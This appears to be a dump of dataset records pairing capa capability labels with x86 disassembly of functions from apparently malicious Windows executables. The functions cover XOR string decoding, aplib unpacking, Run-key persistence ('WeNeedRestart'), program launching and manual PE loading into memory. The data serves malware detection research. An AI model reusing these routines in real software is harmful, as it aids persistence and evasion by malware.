joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408d98
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov eax, 0x74dd0d95
xor eax, 0x19039ff6
push eax
call fcn.004097c8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x408eb2
push 1
push 0
push 0
call dword [0x42561c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x408e94
lea eax, [ebp - 0x54]
mov dword [eax], 0x19719fa2
mov dword [eax + 4], 0x19709f83
mov dword [eax + 8], 0x19669f82
mov dword [eax + 0xc], 0x194a9f92
mov dword [eax + 0x10], 0x19709f98
mov dword [eax + 0x14], 0x19629f82
mov dword [eax + 0x18], 0x196f9f9a
mov dword [eax + 0x1c], 0x19719f93
mov dword [eax + 0x20], 0x19039ff6
mov ecx, 9
xor dword [eax], 0x19039ff6
add eax, 4
dec ecx
jne 0x408e2f
push 0x14
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 4]
call dword [0x425624]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408e94
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0xc]
push eax
push 0x24
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 8]
call dword [0x425634]
test eax, eax
jne 0x408e75
jmp 0x408e94
cmp dword [ebp - 0x2c], 1
jne 0x408e90
push 0
push 0
push dword [ebp - 8]
call dword [0x42562c]
test eax, eax
jne 0x408e8e
jmp 0x408e94
jmp 0x408e53
jmp 0x408e94
cmp dword [ebp - 8], 0
je 0x408ea3
push dword [ebp - 8]
call dword [0x425640]
cmp dword [ebp - 4], 0
je 0x408eb2
push dword [ebp - 4]
call dword [0x425640]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret

Function at 0x417738
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
test dword [ebx + 0x44], 0x40000000
je 0x417756
ror ebx, 1
lea esi, str.c0aZ1h_
push dword [esi - 4]
call fcn.00406830
mov edi, eax
test edi, edi
je 0x4177f4
push esi
push edi
mov ecx, dword [esi - 4]
lodsb al, byte [esi]
xor al, 0x30
stosb byte es:[edi], al
dec ecx
test ecx, ecx
jne 0x417773
pop edi
pop esi
mov esi, dword [esi - 4]
push dword [ebp + 0xc]
pop dword [ebp - 8]
lea eax, [esi*2]
push eax
push 8
push ebx
call dword [ebp - 8]
mov esi, eax
test esi, esi
je 0x4177ee
push esi
push edi
call fcn.00418c44
add esp, 8
lea esi, [esi + 0x83]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00417800
mov dword [0x42519c], eax
lea esi, [esi + 0x41]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00417800
mov dword [0x425194], eax
lea esi, [esi + 0xd7]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00417800
mov dword [0x425198], eax
mov dword [ebp - 4], 1
push edi
call fcn.00406858
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x418c44
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x418c68
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x418c50
add dl, dl
jne 0x418c73
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x418cc4
xor eax, eax
add dl, dl
jne 0x418c80
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x418d61
add dl, dl
jne 0x418c8f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x418c9a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x418ca5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x418cb0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x418cba
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x418c5f
mov eax, 1
add dl, dl
jne 0x418cd2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x418cdd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x418cc9
sub eax, ebx
mov ebx, 1
jne 0x418d10
mov ecx, 1
add dl, dl
jne 0x418cf6
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x418d01
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x418ced
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x418c5f
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x418d27
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x418d32
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x418d1e
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x418c5f
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x418d82
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x418c5f
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x4192f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, 6
lodsd eax, dword [esi]
bswap eax
ror eax, 0xd
mov edx, eax
not edx
lodsd eax, dword [esi]
rol eax, 0xb
bswap eax
xor eax, edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 9
bswap eax
mov edx, eax
not edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 7
bswap eax
xor eax, edx
mov edx, eax
not edx
stosd dword es:[edi], eax
rol eax, 5
xor eax, edx
stosd dword es:[edi], eax
lea esi, [edi - 0x10]
dec ebx
test ebx, ebx
jne 0x419305
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x401750
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40176a
test al, 0x10
jne 0x40176a
mov eax, 1
ret
xor eax, eax
ret

Function at 0x401770
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x4017ba
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x4017ba
pop edi
pop esi
add esp, 0x9c
ret
mov eax, dword [esp + 0x18]
sub eax, 0
je 0x4018ce
dec eax
je 0x40184e
dec eax
jne 0x4018f5
mov edx, dword [esp + 0xa8]
push ebx
mov ebx, dword [esp + 0x10]
cmp ebx, 4
ja 0x401808
mov edi, str.WinNT
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp ebx, 5
pop ebx
jne 0x4018f5
mov eax, dword [esp + 0x10]
sub eax, 0
je 0x401833
dec eax
je 0x40182c
dec eax
jne 0x4018f5
mov edi, str.Win2003
jmp 0x401838
mov edi, str.WinXP
jmp 0x401838
mov edi, str.Win2K
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
jmp 0x4018e9
cmp dword [esp + 0xc], 4
jne 0x4018f5
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40188b
cmp eax, 0xa
je 0x401876
cmp eax, 0x5a
jne 0x4018f5
mov edi, str.WinMe
jmp 0x40189e
cmp byte [esp + 0x1d], 0x41
jne 0x401884
mov edi, str.Win98SE
jmp 0x4018d3
mov edi, str.Win98
jmp 0x40189e
cmp byte [esp + 0x1d], 0x43
jne 0x401899
mov edi, str.Win97
jmp 0x4018d3
mov edi, str.Win95
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 1
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0xa8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x9c
ret
mov edi, str.Win32s
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0xa8]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, 1
pop esi
add esp, 0x9c
ret
Function at 0x402230
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x424dc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x434720]
test eax, eax
jne 0x4022db
mov eax, dword [0x430858]
push esi
mov dword [esp + 4], eax
push 0x104
push 0x104
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call fcn.0041ac41
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call fcn.0041ac90
push str.winhlp32.exe
lea ecx, [esp + 8]
call fcn.0041ac1a
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4022c2
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x4022c2
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [0x434720], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 4]
mov dword [esp + 0x10], 0xffffffff
call fcn.0041a95c
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x4022f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x402352
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret
Function at 0x402560
Capabilities:
Create process on windows
Set current directory

Disassembly:
push 0xffffffffffffffff
push 0x424e0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x430858]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x22c]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push ebp
lea ecx, [esp + 0x14]
push 0x43060c
push ecx
mov dword [esp + 0x230], 0
call fcn.00418d71
add esp, 0xc
lea ecx, [esp + 0x10]
push 0x5c
call fcn.00418a02
cmp eax, 0xffffffff
je 0x4025f0
push 0
push eax
lea ecx, [esp + 0x18]
call fcn.0041acd8
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x10]
push eax
push ecx
jmp 0x4025fa
mov edx, dword [esp + 0x230]
push edx
push 0
push 0
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, eax
cmp ebx, 0x20
ja 0x4026e6
lea eax, [esp + 0x14]
push eax
push str..htm
push SysReAllocStringLen
call fcn.004022f0
add esp, 0xc
test eax, eax
jne 0x4026e6
mov edi, str._shellopencommand
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push SysReAllocStringLen
call fcn.004022f0
add esp, 0xc
test eax, eax
jne 0x4026e6
lea edx, [esp + 0x14]
push 0x4305e0
push edx
call fcn.0040bb30
mov esi, eax
add esp, 8
test esi, esi
jne 0x4026bc
lea eax, [esp + 0x14]
push 0x4305dc
push eax
call fcn.0040bab0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4026bc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4026bf
mov byte [esi], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4305d8
push esi
call edi
push ebp
push esi
call edi
mov edx, dword [esp + 0x230]
lea eax, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ebx, eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x224], 0xffffffff
call fcn.0041a95c
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x218
ret

Function at 0x403060
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
lea eax, [esp + 0xc]
push eax
push 0xf003f
not ecx
push 0
dec ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40309b
pop edi
xor eax, eax
pop esi
ret 4
mov ecx, dword [esp + 0xc]
push edi
push esi
push 1
push 0
push str.WeNeedRestart
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
ret 4
Function at 0x4033f0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x424f48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x430858]
push esi
mov dword [esp + 4], eax
mov dword [esp + 0x14], 0
call fcn.00421fa1
mov esi, dword [eax + 4]
call fcn.00421fa1
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 0xcc]
push ecx
mov eax, dword [eax + 0xc8]
push edx
push eax
lea ecx, [esp + 0x10]
push str.SOFTWARE_s_s_s
push ecx
call fcn.00418d71
mov eax, dword [esp + 0x18]
add esp, 0x14
lea edx, [esp + 8]
push edx
push 0x2001f
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403494
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0041a95c
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret 0xc
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 8]
lea ecx, [esp + 0x24]
push 4
push ecx
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
mov esi, eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea ecx, [esp + 4]
test esi, esi
sete dl
mov esi, edx
mov dword [esp + 0x14], 0xffffffff
call fcn.0041a95c
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 0xc

Function at 0x403600
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x424f88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
mov ebx, dword [esp + 0x20]
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [0x430858]
not ecx
dec ecx
mov dword [esp + 0x28], eax
mov edi, ecx
mov dword [esp + 0x18], 0
call fcn.00421fa1
mov esi, dword [eax + 4]
call fcn.00421fa1
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x20]
mov edx, dword [esi + 0xcc]
push ecx
mov eax, dword [eax + 0xc8]
push edx
push eax
lea ecx, [esp + 0x34]
push str.SOFTWARE_s_s_s
push ecx
call fcn.00418d71
mov eax, dword [esp + 0x3c]
add esp, 0x14
lea edx, [esp + 0xc]
push edx
push 0x2001f
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4036b8
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.0041a95c
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
push edi
push ebx
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.0041a95c
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x418360
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040cd50
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41842b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41842b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4183de
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x4183e9
or bh, 8
and edi, 0x8000000
je 0x418404
mov eax, dword [0x437edc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41842b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418800
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41882b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41884f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41886a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x41c501
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x41c539
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041acb8
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0041ac90
jmp 0x41c545
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x41da6d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41daaf
call fcn.00421fa1
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41daaf
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41daa6
xor eax, eax
jmp 0x41dab7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041dabd
pop edi
pop esi
pop ebx
ret 4

Function at 0x42248e
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4224bc
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4224da
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004223f4
jmp 0x4224da
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4224da
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004223f4
test edi, edi
mov eax, edi
jne 0x4224c4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10001250
Capabilities:
Parse pe header

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
cmp word [ebx], 0x5a4d
push edi
je 0x10001266
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebp, dword [esp + 0x18]
test ebp, ebp
je 0x10001283
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x104
jl 0x10001283
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
je 0x10001297
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
cmp word [eax + 0x18], 0x10b
je 0x100012a6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov edi, dword [eax + 0x50]
push 4
push 0x3000
lea ecx, [edi + 0x20000]
push ecx
push 0x55000000
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x100012cb
pop edi
pop esi
pop ebp
pop ebx
ret
lea esi, [eax + 0x10000]
push esi
push ebx
call fcn.100011d0
add esp, 8
test eax, eax
jne 0x1000130b
mov eax, dword [0x1000ae38]
test eax, eax
je 0x100012f6
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [esp + 0x1c]
test bl, 2
jne 0x10001375
mov edx, ebx
mov eax, ebx
shr edx, 8
not eax
and edx, 1
and eax, 1
push edx
push eax
push edi
push esi
call fcn.10001020
add esp, 0x10
test eax, eax
je 0x100012df
test bl, 1
jne 0x10001348
push 0
push edi
push esi
call fcn.10001460
add esp, 0xc
test eax, eax
je 0x100012df
mov ecx, ebx
shr ecx, 9
and ecx, 1
push ecx
push esi
call fcn.100014a0
add esp, 8
test eax, eax
jne 0x10001375
mov eax, dword [0x1000ae38]
test eax, eax
je 0x100012f6
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebx
push ebp
push esi
call fcn.10001390
add esp, 0xc
inc eax
neg eax
sbb eax, eax
pop edi
and eax, esi
pop esi
pop ebp
pop ebx
ret